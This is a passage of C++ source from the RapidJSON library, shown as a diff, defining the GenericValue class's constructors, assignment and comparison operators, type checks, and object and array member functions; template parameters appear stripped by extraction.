RAPIDJSON_NOEXCEPT : data_() { + data_.n.i64 = i64; + data_.f.flags = kNumberInt64Flag; + if (i64 >= 0) { + data_.f.flags |= kNumberUint64Flag; + if (!(static_cast(i64) & RAPIDJSON_UINT64_C2(0xFFFFFFFF, 0x00000000))) + data_.f.flags |= kUintFlag; + if (!(static_cast(i64) & RAPIDJSON_UINT64_C2(0xFFFFFFFF, 0x80000000))) + data_.f.flags |= kIntFlag; + } + else if (i64 >= static_cast(RAPIDJSON_UINT64_C2(0xFFFFFFFF, 0x80000000))) + data_.f.flags |= kIntFlag; + } + + //! Constructor for uint64_t value. + explicit GenericValue(uint64_t u64) RAPIDJSON_NOEXCEPT : data_() { + data_.n.u64 = u64; + data_.f.flags = kNumberUint64Flag; + if (!(u64 & RAPIDJSON_UINT64_C2(0x80000000, 0x00000000))) + data_.f.flags |= kInt64Flag; + if (!(u64 & RAPIDJSON_UINT64_C2(0xFFFFFFFF, 0x00000000))) + data_.f.flags |= kUintFlag; + if (!(u64 & RAPIDJSON_UINT64_C2(0xFFFFFFFF, 0x80000000))) + data_.f.flags |= kIntFlag; + } + + //! Constructor for double value. + explicit GenericValue(double d) RAPIDJSON_NOEXCEPT : data_() { data_.n.d = d; data_.f.flags = kNumberDoubleFlag; } + + //! Constructor for float value. + explicit GenericValue(float f) RAPIDJSON_NOEXCEPT : data_() { data_.n.d = static_cast(f); data_.f.flags = kNumberDoubleFlag; } + + //! Constructor for constant string (i.e. do not make a copy of string) + GenericValue(const Ch* s, SizeType length) RAPIDJSON_NOEXCEPT : data_() { SetStringRaw(StringRef(s, length)); } + + //! Constructor for constant string (i.e. do not make a copy of string) + explicit GenericValue(StringRefType s) RAPIDJSON_NOEXCEPT : data_() { SetStringRaw(s); } + + //! Constructor for copy-string (i.e. do make a copy of string) + GenericValue(const Ch* s, SizeType length, Allocator& allocator) : data_() { SetStringRaw(StringRef(s, length), allocator); } + + //! Constructor for copy-string (i.e. do make a copy of string) + GenericValue(const Ch*s, Allocator& allocator) : data_() { SetStringRaw(StringRef(s), allocator); } + +#if RAPIDJSON_HAS_STDSTRING + //! Constructor for copy-string from a string object (i.e. do make a copy of string) + /*! \note Requires the definition of the preprocessor symbol \ref RAPIDJSON_HAS_STDSTRING. + */ + GenericValue(const std::basic_string& s, Allocator& allocator) : data_() { SetStringRaw(StringRef(s), allocator); } +#endif + + //! Constructor for Array. + /*! + \param a An array obtained by \c GetArray(). + \note \c Array is always pass-by-value. + \note the source array is moved into this value and the sourec array becomes empty. + */ + GenericValue(Array a) RAPIDJSON_NOEXCEPT : data_(a.value_.data_) { + a.value_.data_ = Data(); + a.value_.data_.f.flags = kArrayFlag; + } + + //! Constructor for Object. + /*! + \param o An object obtained by \c GetObject(). + \note \c Object is always pass-by-value. + \note the source object is moved into this value and the sourec object becomes empty. + */ + GenericValue(Object o) RAPIDJSON_NOEXCEPT : data_(o.value_.data_) { + o.value_.data_ = Data(); + o.value_.data_.f.flags = kObjectFlag; + } + + //! Destructor. + /*! Need to destruct elements of array, members of object, or copy-string. + */ + ~GenericValue() { + // With RAPIDJSON_USE_MEMBERSMAP, the maps need to be destroyed to release + // their Allocator if it's refcounted (e.g. MemoryPoolAllocator). + if (Allocator::kNeedFree || (RAPIDJSON_USE_MEMBERSMAP+0 && + internal::IsRefCounted::Value)) { + switch(data_.f.flags) { + case kArrayFlag: + { + GenericValue* e = GetElementsPointer(); + for (GenericValue* v = e; v != e + data_.a.size; ++v) + v->~GenericValue(); + if (Allocator::kNeedFree) { // Shortcut by Allocator's trait + Allocator::Free(e); + } + } + break; + + case kObjectFlag: + DoFreeMembers(); + break; + + case kCopyStringFlag: + if (Allocator::kNeedFree) { // Shortcut by Allocator's trait + Allocator::Free(const_cast(GetStringPointer())); + } + break; + + default: + break; // Do nothing for other types. + } + } + } + + //@} + + //!@name Assignment operators + //@{ + + //! Assignment with move semantics. + /*! \param rhs Source of the assignment. It will become a null value after assignment. + */ + GenericValue& operator=(GenericValue& rhs) RAPIDJSON_NOEXCEPT { + if (RAPIDJSON_LIKELY(this != &rhs)) { + // Can't destroy "this" before assigning "rhs", otherwise "rhs" + // could be used after free if it's an sub-Value of "this", + // hence the temporary danse. + GenericValue temp; + temp.RawAssign(rhs); + this->~GenericValue(); + RawAssign(temp); + } + return *this; + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + //! Move assignment in C++11 + GenericValue& operator=(GenericValue&& rhs) RAPIDJSON_NOEXCEPT { + return *this = rhs.Move(); + } +#endif + + //! Assignment of constant string reference (no copy) + /*! \param str Constant string reference to be assigned + \note This overload is needed to avoid clashes with the generic primitive type assignment overload below. + \see GenericStringRef, operator=(T) + */ + GenericValue& operator=(StringRefType str) RAPIDJSON_NOEXCEPT { + GenericValue s(str); + return *this = s; + } + + //! Assignment with primitive types. + /*! \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t + \param value The value to be assigned. + + \note The source type \c T explicitly disallows all pointer types, + especially (\c const) \ref Ch*. This helps avoiding implicitly + referencing character strings with insufficient lifetime, use + \ref SetString(const Ch*, Allocator&) (for copying) or + \ref StringRef() (to explicitly mark the pointer as constant) instead. + All other pointer types would implicitly convert to \c bool, + use \ref SetBool() instead. + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::IsPointer), (GenericValue&)) + operator=(T value) { + GenericValue v(value); + return *this = v; + } + + //! Deep-copy assignment from Value + /*! Assigns a \b copy of the Value to the current Value object + \tparam SourceAllocator Allocator type of \c rhs + \param rhs Value to copy from (read-only) + \param allocator Allocator to use for copying + \param copyConstStrings Force copying of constant strings (e.g. referencing an in-situ buffer) + */ + template + GenericValue& CopyFrom(const GenericValue& rhs, Allocator& allocator, bool copyConstStrings = false) { + RAPIDJSON_ASSERT(static_cast(this) != static_cast(&rhs)); + this->~GenericValue(); + new (this) GenericValue(rhs, allocator, copyConstStrings); + return *this; + } + + //! Exchange the contents of this value with those of other. + /*! + \param other Another value. + \note Constant complexity. + */ + GenericValue& Swap(GenericValue& other) RAPIDJSON_NOEXCEPT { + GenericValue temp; + temp.RawAssign(*this); + RawAssign(other); + other.RawAssign(temp); + return *this; + } + + //! free-standing swap function helper + /*! + Helper function to enable support for common swap implementation pattern based on \c std::swap: + \code + void swap(MyClass& a, MyClass& b) { + using std::swap; + swap(a.value, b.value); + // ... + } + \endcode + \see Swap() + */ + friend inline void swap(GenericValue& a, GenericValue& b) RAPIDJSON_NOEXCEPT { a.Swap(b); } + + //! Prepare Value for move semantics + /*! \return *this */ + GenericValue& Move() RAPIDJSON_NOEXCEPT { return *this; } + //@} + + //!@name Equal-to and not-equal-to operators + //@{ + //! Equal-to operator + /*! + \note If an object contains duplicated named member, comparing equality with any object is always \c false. + \note Complexity is quadratic in Object's member number and linear for the rest (number of all values in the subtree and total lengths of all strings). + */ + template + bool operator==(const GenericValue& rhs) const { + typedef GenericValue RhsType; + if (GetType() != rhs.GetType()) + return false; + + switch (GetType()) { + case kObjectType: // Warning: O(n^2) inner-loop + if (data_.o.size != rhs.data_.o.size) + return false; + for (ConstMemberIterator lhsMemberItr = MemberBegin(); lhsMemberItr != MemberEnd(); ++lhsMemberItr) { + typename RhsType::ConstMemberIterator rhsMemberItr = rhs.FindMember(lhsMemberItr->name); + if (rhsMemberItr == rhs.MemberEnd() || lhsMemberItr->value != rhsMemberItr->value) + return false; + } + return true; + + case kArrayType: + if (data_.a.size != rhs.data_.a.size) + return false; + for (SizeType i = 0; i < data_.a.size; i++) + if ((*this)[i] != rhs[i]) + return false; + return true; + + case kStringType: + return StringEqual(rhs); + + case kNumberType: + if (IsDouble() || rhs.IsDouble()) { + double a = GetDouble(); // May convert from integer to double. + double b = rhs.GetDouble(); // Ditto + return a >= b && a <= b; // Prevent -Wfloat-equal + } + else + return data_.n.u64 == rhs.data_.n.u64; + + default: + return true; + } + } + + //! Equal-to operator with const C-string pointer + bool operator==(const Ch* rhs) const { return *this == GenericValue(StringRef(rhs)); } + +#if RAPIDJSON_HAS_STDSTRING + //! Equal-to operator with string object + /*! \note Requires the definition of the preprocessor symbol \ref RAPIDJSON_HAS_STDSTRING. + */ + bool operator==(const std::basic_string& rhs) const { return *this == GenericValue(StringRef(rhs)); } +#endif + + //! Equal-to operator with primitive types + /*! \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t, \c double, \c true, \c false + */ + template RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr,internal::IsGenericValue >), (bool)) operator==(const T& rhs) const { return *this == GenericValue(rhs); } + + //! Not-equal-to operator + /*! \return !(*this == rhs) + */ + template + bool operator!=(const GenericValue& rhs) const { return !(*this == rhs); } + + //! Not-equal-to operator with const C-string pointer + bool operator!=(const Ch* rhs) const { return !(*this == rhs); } + + //! Not-equal-to operator with arbitrary types + /*! \return !(*this == rhs) + */ + template RAPIDJSON_DISABLEIF_RETURN((internal::IsGenericValue), (bool)) operator!=(const T& rhs) const { return !(*this == rhs); } + +#ifndef __cpp_impl_three_way_comparison + //! Equal-to operator with arbitrary types (symmetric version) + /*! \return (rhs == lhs) + */ + template friend RAPIDJSON_DISABLEIF_RETURN((internal::IsGenericValue), (bool)) operator==(const T& lhs, const GenericValue& rhs) { return rhs == lhs; } + + //! Not-Equal-to operator with arbitrary types (symmetric version) + /*! \return !(rhs == lhs) + */ + template friend RAPIDJSON_DISABLEIF_RETURN((internal::IsGenericValue), (bool)) operator!=(const T& lhs, const GenericValue& rhs) { return !(rhs == lhs); } + //@} +#endif + + //!@name Type + //@{ + + Type GetType() const { return static_cast(data_.f.flags & kTypeMask); } + bool IsNull() const { return data_.f.flags == kNullFlag; } + bool IsFalse() const { return data_.f.flags == kFalseFlag; } + bool IsTrue() const { return data_.f.flags == kTrueFlag; } + bool IsBool() const { return (data_.f.flags & kBoolFlag) != 0; } + bool IsObject() const { return data_.f.flags == kObjectFlag; } + bool IsArray() const { return data_.f.flags == kArrayFlag; } + bool IsNumber() const { return (data_.f.flags & kNumberFlag) != 0; } + bool IsInt() const { return (data_.f.flags & kIntFlag) != 0; } + bool IsUint() const { return (data_.f.flags & kUintFlag) != 0; } + bool IsInt64() const { return (data_.f.flags & kInt64Flag) != 0; } + bool IsUint64() const { return (data_.f.flags & kUint64Flag) != 0; } + bool IsDouble() const { return (data_.f.flags & kDoubleFlag) != 0; } + bool IsString() const { return (data_.f.flags & kStringFlag) != 0; } + + // Checks whether a number can be losslessly converted to a double. + bool IsLosslessDouble() const { + if (!IsNumber()) return false; + if (IsUint64()) { + uint64_t u = GetUint64(); + volatile double d = static_cast(u); + return (d >= 0.0) + && (d < static_cast((std::numeric_limits::max)())) + && (u == static_cast(d)); + } + if (IsInt64()) { + int64_t i = GetInt64(); + volatile double d = static_cast(i); + return (d >= static_cast((std::numeric_limits::min)())) + && (d < static_cast((std::numeric_limits::max)())) + && (i == static_cast(d)); + } + return true; // double, int, uint are always lossless + } + + // Checks whether a number is a float (possible lossy). + bool IsFloat() const { + if ((data_.f.flags & kDoubleFlag) == 0) + return false; + double d = GetDouble(); + return d >= -3.4028234e38 && d <= 3.4028234e38; + } + // Checks whether a number can be losslessly converted to a float. + bool IsLosslessFloat() const { + if (!IsNumber()) return false; + double a = GetDouble(); + if (a < static_cast(-(std::numeric_limits::max)()) + || a > static_cast((std::numeric_limits::max)())) + return false; + double b = static_cast(static_cast(a)); + return a >= b && a <= b; // Prevent -Wfloat-equal + } + + //@} + + //!@name Null + //@{ + + GenericValue& SetNull() { this->~GenericValue(); new (this) GenericValue(); return *this; } + + //@} + + //!@name Bool + //@{ + + bool GetBool() const { RAPIDJSON_ASSERT(IsBool()); return data_.f.flags == kTrueFlag; } + //!< Set boolean value + /*! \post IsBool() == true */ + GenericValue& SetBool(bool b) { this->~GenericValue(); new (this) GenericValue(b); return *this; } + + //@} + + //!@name Object + //@{ + + //! Set this value as an empty object. + /*! \post IsObject() == true */ + GenericValue& SetObject() { this->~GenericValue(); new (this) GenericValue(kObjectType); return *this; } + + //! Get the number of members in the object. + SizeType MemberCount() const { RAPIDJSON_ASSERT(IsObject()); return data_.o.size; } + + //! Get the capacity of object. + SizeType MemberCapacity() const { RAPIDJSON_ASSERT(IsObject()); return data_.o.capacity; } + + //! Check whether the object is empty. + bool ObjectEmpty() const { RAPIDJSON_ASSERT(IsObject()); return data_.o.size == 0; } + + //! Get a value from an object associated with the name. + /*! \pre IsObject() == true + \tparam T Either \c Ch or \c const \c Ch (template used for disambiguation with \ref operator[](SizeType)) + \note In version 0.1x, if the member is not found, this function returns a null value. This makes issue 7. + Since 0.2, if the name is not correct, it will assert. + If user is unsure whether a member exists, user should use HasMember() first. + A better approach is to use FindMember(). + \note Linear time complexity. + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::NotExpr::Type, Ch> >),(GenericValue&)) operator[](T* name) { + GenericValue n(StringRef(name)); + return (*this)[n]; + } + template + RAPIDJSON_DISABLEIF_RETURN((internal::NotExpr::Type, Ch> >),(const GenericValue&)) operator[](T* name) const { return const_cast(*this)[name]; } + + //! Get a value from an object associated with the name. + /*! \pre IsObject() == true + \tparam SourceAllocator Allocator of the \c name value + + \note Compared to \ref operator[](T*), this version is faster because it does not need a StrLen(). + And it can also handle strings with embedded null characters. + + \note Linear time complexity. + */ + template + GenericValue& operator[](const GenericValue& name) { + MemberIterator member = FindMember(name); + if (member != MemberEnd()) + return member->value; + else { + RAPIDJSON_ASSERT(false); // see above note + +#if RAPIDJSON_HAS_CXX11 + // Use thread-local storage to prevent races between threads. + // Use static buffer and placement-new to prevent destruction, with + // alignas() to ensure proper alignment. + alignas(GenericValue) thread_local static char buffer[sizeof(GenericValue)]; + return *new (buffer) GenericValue(); +#elif defined(_MSC_VER) && _MSC_VER < 1900 + // There's no way to solve both thread locality and proper alignment + // simultaneously. + __declspec(thread) static char buffer[sizeof(GenericValue)]; + return *new (buffer) GenericValue(); +#elif defined(__GNUC__) || defined(__clang__) + // This will generate -Wexit-time-destructors in clang, but that's + // better than having under-alignment. + __thread static GenericValue buffer; + return buffer; +#else + // Don't know what compiler this is, so don't know how to ensure + // thread-locality. + static GenericValue buffer; + return buffer; +#endif + } + } + template + const GenericValue& operator[](const GenericValue& name) const { return const_cast(*this)[name]; } + +#if RAPIDJSON_HAS_STDSTRING + //! Get a value from an object associated with name (string object). + GenericValue& operator[](const std::basic_string& name) { return (*this)[GenericValue(StringRef(name))]; } + const GenericValue& operator[](const std::basic_string& name) const { return (*this)[GenericValue(StringRef(name))]; } +#endif + + //! Const member iterator + /*! \pre IsObject() == true */ + ConstMemberIterator MemberBegin() const { RAPIDJSON_ASSERT(IsObject()); return ConstMemberIterator(GetMembersPointer()); } + //! Const \em past-the-end member iterator + /*! \pre IsObject() == true */ + ConstMemberIterator MemberEnd() const { RAPIDJSON_ASSERT(IsObject()); return ConstMemberIterator(GetMembersPointer() + data_.o.size); } + //! Member iterator + /*! \pre IsObject() == true */ + MemberIterator MemberBegin() { RAPIDJSON_ASSERT(IsObject()); return MemberIterator(GetMembersPointer()); } + //! \em Past-the-end member iterator + /*! \pre IsObject() == true */ + MemberIterator MemberEnd() { RAPIDJSON_ASSERT(IsObject()); return MemberIterator(GetMembersPointer() + data_.o.size); } + + //! Request the object to have enough capacity to store members. + /*! \param newCapacity The capacity that the object at least need to have. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \note Linear time complexity. + */ + GenericValue& MemberReserve(SizeType newCapacity, Allocator &allocator) { + RAPIDJSON_ASSERT(IsObject()); + DoReserveMembers(newCapacity, allocator); + return *this; + } + + //! Check whether a member exists in the object. + /*! + \param name Member name to be searched. + \pre IsObject() == true + \return Whether a member with that name exists. + \note It is better to use FindMember() directly if you need the obtain the value as well. + \note Linear time complexity. + */ + bool HasMember(const Ch* name) const { return FindMember(name) != MemberEnd(); } + +#if RAPIDJSON_HAS_STDSTRING + //! Check whether a member exists in the object with string object. + /*! + \param name Member name to be searched. + \pre IsObject() == true + \return Whether a member with that name exists. + \note It is better to use FindMember() directly if you need the obtain the value as well. + \note Linear time complexity. + */ + bool HasMember(const std::basic_string& name) const { return FindMember(name) != MemberEnd(); } +#endif + + //! Check whether a member exists in the object with GenericValue name. + /*! + This version is faster because it does not need a StrLen(). It can also handle string with null character. + \param name Member name to be searched. + \pre IsObject() == true + \return Whether a member with that name exists. + \note It is better to use FindMember() directly if you need the obtain the value as well. + \note Linear time complexity. + */ + template + bool HasMember(const GenericValue& name) const { return FindMember(name) != MemberEnd(); } + + //! Find member by name. + /*! + \param name Member name to be searched. + \pre IsObject() == true + \return Iterator to member, if it exists. + Otherwise returns \ref MemberEnd(). + + \note Earlier versions of Rapidjson returned a \c NULL pointer, in case + the requested member doesn't exist. For consistency with e.g. + \c std::map, this has been changed to MemberEnd() now. + \note Linear time complexity. + */ + MemberIterator FindMember(const Ch* name) { + GenericValue n(StringRef(name)); + return FindMember(n); + } + + ConstMemberIterator FindMember(const Ch* name) const { return const_cast(*this).FindMember(name); } + + //! Find member by name. + /*! + This version is faster because it does not need a StrLen(). It can also handle string with null character. + \param name Member name to be searched. + \pre IsObject() == true + \return Iterator to member, if it exists. + Otherwise returns \ref MemberEnd(). + + \note Earlier versions of Rapidjson returned a \c NULL pointer, in case + the requested member doesn't exist. For consistency with e.g. + \c std::map, this has been changed to MemberEnd() now. + \note Linear time complexity. + */ + template + MemberIterator FindMember(const GenericValue& name) { + RAPIDJSON_ASSERT(IsObject()); + RAPIDJSON_ASSERT(name.IsString()); + return DoFindMember(name); + } + template ConstMemberIterator FindMember(const GenericValue& name) const { return const_cast(*this).FindMember(name); } + +#if RAPIDJSON_HAS_STDSTRING + //! Find member by string object name. + /*! + \param name Member name to be searched. + \pre IsObject() == true + \return Iterator to member, if it exists. + Otherwise returns \ref MemberEnd(). + */ + MemberIterator FindMember(const std::basic_string& name) { return FindMember(GenericValue(StringRef(name))); } + ConstMemberIterator FindMember(const std::basic_string& name) const { return FindMember(GenericValue(StringRef(name))); } +#endif + + //! Add a member (name-value pair) to the object. + /*! \param name A string value as name of member. + \param value Value of any type. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \note The ownership of \c name and \c value will be transferred to this object on success. + \pre IsObject() && name.IsString() + \post name.IsNull() && value.IsNull() + \note Amortized Constant time complexity. + */ + GenericValue& AddMember(GenericValue& name, GenericValue& value, Allocator& allocator) { + RAPIDJSON_ASSERT(IsObject()); + RAPIDJSON_ASSERT(name.IsString()); + DoAddMember(name, value, allocator); + return *this; + } + + //! Add a constant string value as member (name-value pair) to the object. + /*! \param name A string value as name of member. + \param value constant string reference as value of member. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \pre IsObject() + \note This overload is needed to avoid clashes with the generic primitive type AddMember(GenericValue&,T,Allocator&) overload below. + \note Amortized Constant time complexity. + */ + GenericValue& AddMember(GenericValue& name, StringRefType value, Allocator& allocator) { + GenericValue v(value); + return AddMember(name, v, allocator); + } + +#if RAPIDJSON_HAS_STDSTRING + //! Add a string object as member (name-value pair) to the object. + /*! \param name A string value as name of member. + \param value constant string reference as value of member. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \pre IsObject() + \note This overload is needed to avoid clashes with the generic primitive type AddMember(GenericValue&,T,Allocator&) overload below. + \note Amortized Constant time complexity. + */ + GenericValue& AddMember(GenericValue& name, std::basic_string& value, Allocator& allocator) { + GenericValue v(value, allocator); + return AddMember(name, v, allocator); + } +#endif + + //! Add any primitive value as member (name-value pair) to the object. + /*! \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t + \param name A string value as name of member. + \param value Value of primitive type \c T as value of member + \param allocator Allocator for reallocating memory. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \pre IsObject() + + \note The source type \c T explicitly disallows all pointer types, + especially (\c const) \ref Ch*. This helps avoiding implicitly + referencing character strings with insufficient lifetime, use + \ref AddMember(StringRefType, GenericValue&, Allocator&) or \ref + AddMember(StringRefType, StringRefType, Allocator&). + All other pointer types would implicitly convert to \c bool, + use an explicit cast instead, if needed. + \note Amortized Constant time complexity. + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (GenericValue&)) + AddMember(GenericValue& name, T value, Allocator& allocator) { + GenericValue v(value); + return AddMember(name, v, allocator); + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericValue& AddMember(GenericValue&& name, GenericValue&& value, Allocator& allocator) { + return AddMember(name, value, allocator); + } + GenericValue& AddMember(GenericValue&& name, GenericValue& value, Allocator& allocator) { + return AddMember(name, value, allocator); + } + GenericValue& AddMember(GenericValue& name, GenericValue&& value, Allocator& allocator) { + return AddMember(name, value, allocator); + } + GenericValue& AddMember(StringRefType name, GenericValue&& value, Allocator& allocator) { + GenericValue n(name); + return AddMember(n, value, allocator); + } +#endif // RAPIDJSON_HAS_CXX11_RVALUE_REFS + + + //! Add a member (name-value pair) to the object. + /*! \param name A constant string reference as name of member. + \param value Value of any type. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \note The ownership of \c value will be transferred to this object on success. + \pre IsObject() + \post value.IsNull() + \note Amortized Constant time complexity. + */ + GenericValue& AddMember(StringRefType name, GenericValue& value, Allocator& allocator) { + GenericValue n(name); + return AddMember(n, value, allocator); + } + + //! Add a constant string value as member (name-value pair) to the object. + /*! \param name A constant string reference as name of member. + \param value constant string reference as value of member. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \pre IsObject() + \note This overload is needed to avoid clashes with the generic primitive type AddMember(StringRefType,T,Allocator&) overload below. + \note Amortized Constant time complexity. + */ + GenericValue& AddMember(StringRefType name, StringRefType value, Allocator& allocator) { + GenericValue v(value); + return AddMember(name, v, allocator); + } + + //! Add any primitive value as member (name-value pair) to the object. + /*! \tparam T Either \ref Type, \c int, \c unsigned, \c int64_t, \c uint64_t + \param name A constant string reference as name of member. + \param value Value of primitive type \c T as value of member + \param allocator Allocator for reallocating memory. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \pre IsObject() + + \note The source type \c T explicitly disallows all pointer types, + especially (\c const) \ref Ch*. This helps avoiding implicitly + referencing character strings with insufficient lifetime, use + \ref AddMember(StringRefType, GenericValue&, Allocator&) or \ref + AddMember(StringRefType, StringRefType, Allocator&). + All other pointer types would implicitly convert to \c bool, + use an explicit cast instead, if needed. + \note Amortized Constant time complexity. + */ + template + RAPIDJSON_DISABLEIF_RETURN((internal::OrExpr, internal::IsGenericValue >), (GenericValue&)) + AddMember(StringRefType name, T value, Allocator& allocator) { + GenericValue n(name); + return AddMember(n, value, allocator); + } + + //! Remove all members in the object. + /*! This function do not deallocate memory in the object, i.e. the capacity is unchanged. + \note Linear time complexity. + */ + void RemoveAllMembers() { + RAPIDJSON_ASSERT(IsObject()); + DoClearMembers(); + } + + //! Remove a member in object by its name. + /*! \param name Name of member to be removed. + \return Whether the member existed. + \note This function may reorder the object members. Use \ref + EraseMember(ConstMemberIterator) if you need to preserve the + relative order of the remaining members. + \note Linear time complexity. + */ + bool RemoveMember(const Ch* name) { + GenericValue n(StringRef(name)); + return RemoveMember(n); + } + +#if RAPIDJSON_HAS_STDSTRING + bool RemoveMember(const std::basic_string& name) { return RemoveMember(GenericValue(StringRef(name))); } +#endif + + template + bool RemoveMember(const GenericValue& name) { + MemberIterator m = FindMember(name); + if (m != MemberEnd()) { + RemoveMember(m); + return true; + } + else + return false; + } + + //! Remove a member in object by iterator. + /*! \param m member iterator (obtained by FindMember() or MemberBegin()). + \return the new iterator after removal. + \note This function may reorder the object members. Use \ref + EraseMember(ConstMemberIterator) if you need to preserve the + relative order of the remaining members. + \note Constant time complexity. + */ + MemberIterator RemoveMember(MemberIterator m) { + RAPIDJSON_ASSERT(IsObject()); + RAPIDJSON_ASSERT(data_.o.size > 0); + RAPIDJSON_ASSERT(GetMembersPointer() != 0); + RAPIDJSON_ASSERT(m >= MemberBegin() && m < MemberEnd()); + return DoRemoveMember(m); + } + + //! Remove a member from an object by iterator. + /*! \param pos iterator to the member to remove + \pre IsObject() == true && \ref MemberBegin() <= \c pos < \ref MemberEnd() + \return Iterator following the removed element. + If the iterator \c pos refers to the last element, the \ref MemberEnd() iterator is returned. + \note This function preserves the relative order of the remaining object + members. If you do not need this, use the more efficient \ref RemoveMember(MemberIterator). + \note Linear time complexity. + */ + MemberIterator EraseMember(ConstMemberIterator pos) { + return EraseMember(pos, pos +1); + } + + //! Remove members in the range [first, last) from an object. + /*! \param first iterator to the first member to remove + \param last iterator following the last member to remove + \pre IsObject() == true && \ref MemberBegin() <= \c first <= \c last <= \ref MemberEnd() + \return Iterator following the last removed element. + \note This function preserves the relative order of the remaining object + members. + \note Linear time complexity. + */ + MemberIterator EraseMember(ConstMemberIterator first, ConstMemberIterator last) { + RAPIDJSON_ASSERT(IsObject()); + RAPIDJSON_ASSERT(data_.o.size > 0); + RAPIDJSON_ASSERT(GetMembersPointer() != 0); + RAPIDJSON_ASSERT(first >= MemberBegin()); + RAPIDJSON_ASSERT(first <= last); + RAPIDJSON_ASSERT(last <= MemberEnd()); + return DoEraseMembers(first, last); + } + + //! Erase a member in object by its name. + /*! \param name Name of member to be removed. + \return Whether the member existed. + \note Linear time complexity. + */ + bool EraseMember(const Ch* name) { + GenericValue n(StringRef(name)); + return EraseMember(n); + } + +#if RAPIDJSON_HAS_STDSTRING + bool EraseMember(const std::basic_string& name) { return EraseMember(GenericValue(StringRef(name))); } +#endif + + template + bool EraseMember(const GenericValue& name) { + MemberIterator m = FindMember(name); + if (m != MemberEnd()) { + EraseMember(m); + return true; + } + else + return false; + } + + Object GetObject() { RAPIDJSON_ASSERT(IsObject()); return Object(*this); } + Object GetObj() { RAPIDJSON_ASSERT(IsObject()); return Object(*this); } + ConstObject GetObject() const { RAPIDJSON_ASSERT(IsObject()); return ConstObject(*this); } + ConstObject GetObj() const { RAPIDJSON_ASSERT(IsObject()); return ConstObject(*this); } + + //@} + + //!@name Array + //@{ + + //! Set this value as an empty array. + /*! \post IsArray == true */ + GenericValue& SetArray() { this->~GenericValue(); new (this) GenericValue(kArrayType); return *this; } + + //! Get the number of elements in array. + SizeType Size() const { RAPIDJSON_ASSERT(IsArray()); return data_.a.size; } + + //! Get the capacity of array. + SizeType Capacity() const { RAPIDJSON_ASSERT(IsArray()); return data_.a.capacity; } + + //! Check whether the array is empty. + bool Empty() const { RAPIDJSON_ASSERT(IsArray()); return data_.a.size == 0; } + + //! Remove all elements in the array. + /*! This function do not deallocate memory in the array, i.e. the capacity is unchanged. + \note Linear time complexity. + */ + void Clear() { + RAPIDJSON_ASSERT(IsArray()); + GenericValue* e = GetElementsPointer(); + for (GenericValue* v = e; v != e + data_.a.size; ++v) + v->~GenericValue(); + data_.a.size = 0; + } + + //! Get an element from array by index. + /*! \pre IsArray() == true + \param index Zero-based index of element. + \see operator[](T*) + */ + GenericValue& operator[](SizeType index) { + RAPIDJSON_ASSERT(IsArray()); + RAPIDJSON_ASSERT(index < data_.a.size); + return GetElementsPointer()[index]; + } + const GenericValue& operator[](SizeType index) const { return const_cast(*this)[index]; } + + //! Element iterator + /*! \pre IsArray() == true */ + ValueIterator Begin() { RAPIDJSON_ASSERT(IsArray()); return GetElementsPointer(); } + //! \em Past-the-end element iterator + /*! \pre IsArray() == true */ + ValueIterator End() { RAPIDJSON_ASSERT(IsArray()); return GetElementsPointer() + data_.a.size; } + //! Constant element iterator + /*! \pre IsArray() == true */ + ConstValueIterator Begin() const { return const_cast(*this).Begin(); } + //! Constant \em past-the-end element iterator + /*! \pre IsArray() == true */ + ConstValueIterator End() const { return const_cast(*this).End(); } + + //! Request the array to have enough capacity to store elements. + /*! \param newCapacity The capacity that the array at least need to have. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \return The value itself for fluent API. + \note Linear time complexity. + */ + GenericValue& Reserve(SizeType newCapacity, Allocator &allocator) { + RAPIDJSON_ASSERT(IsArray()); + if (newCapacity > data_.a.capacity) { + SetElementsPointer(reinterpret_cast(allocator.Realloc(GetElementsPointer(), data_.a.capacity * sizeof(GenericValue), newCapacity * sizeof(GenericValue)))); + data_.a.capacity = newCapacity; + } + return *this; + } + + //! Append a GenericValue at the end of the array. + /*! \param value Value to be appended. + \param allocator Allocator for reallocating memory. It must be the same one as used before. Commonly use GenericDocument::GetAllocator(). + \pre IsArray() == true + \post value.IsNull() == true + \return The value itself for fluent API. + \note The ownership of \c value will be transferred to this array on success. + \note If the number of elements to be appended is known, calls Reserve() once first may be more efficient. + \note Amortized constant time complexity. + */ + GenericValue& PushBack(GenericValue& value, Allocator& allocator) { + RAPIDJSON_ASSERT(IsArray()); + if (data_.a.size >= data_.a.capacity) + Reserve(data_.a.capacity == 0 ? kDefaultArrayCapacity : (data_.a.capacity + (data_.a.capacity + 1) / 2), allocator); + GetElementsPointer()[data_.a.size++].RawAssign(value); + return *this; + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericValue& PushBack(GenericValue&& value, Allocator& allocator) { + return PushBack(value, allocator); + } +#endif // RAPIDJSON_HAS_CXX11_RVALUE_REFS + + //! Append a constant string reference at the end of the array. + /*! \param value Constant string reference to be appended. + \param allocator Allocator for reallocating memory. It must be the same one used previously. Commonly use GenericDocument::GetAllocator(). + \pre IsArray() == true + \return The 